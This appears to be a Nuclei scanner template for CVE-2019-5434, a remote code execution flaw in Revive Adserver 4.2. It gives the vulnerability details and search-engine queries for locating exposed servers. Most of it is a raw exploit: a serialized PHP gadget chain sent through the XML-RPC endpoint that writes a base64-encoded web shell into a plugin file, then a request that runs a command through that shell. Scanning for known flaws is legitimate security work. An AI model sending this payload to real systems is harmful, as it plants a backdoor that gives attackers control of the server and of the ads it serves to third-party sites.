Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
PoC
id: CVE-2019-5434
info:
name: Revive Adserver 4.2 - Remote Code Execution
author: omarjezi
severity: critical
description: |
Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Apply the latest security patches or upgrade to a newer version of Revive Adserver.
reference:
- https://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
- https://www.exploit-db.com/exploits/47739
- https://www.revive-adserver.com/security/revive-sa-2019-001/
- https://nvd.nist.gov/vuln/detail/CVE-2019-5434
- http://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5434
cwe-id: CWE-502
epss-score: 0.57022
epss-percentile: 0.99017
cpe: cpe:2.3:a:revive-sas:revive_adserver:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: revive-sas
product: revive_adserver
shodan-query:
- http.favicon.hash:106844876
- http.title:"revive adserver"
fofa-query:
- icon_hash=106844876
- title="revive adserver"
google-query: intitle:"revive adserver"
tags: cve,cve2019,edb,packetstorm,revive,adserver,rce,revive-sas,vuln,vkev
http:
- raw:
- |
POST /adxmlrpc.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?xml version="1.0" encoding="ISO-8859-1"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>
- |
GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header_2
words:
- "text/html"
- type: regex
part: body_2
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: status
status:
- 200
# digest: 490a0046304402203bab5a6cceddb90823fe7e24b254dbe849aa73fab0c39bfaf903e7935e520506022020537b720edb380824f0fd6230aece39ff8bfa81cd8aabd4758b5031a7fe3e8a:922c64590222798bb761d5b6d8e72950
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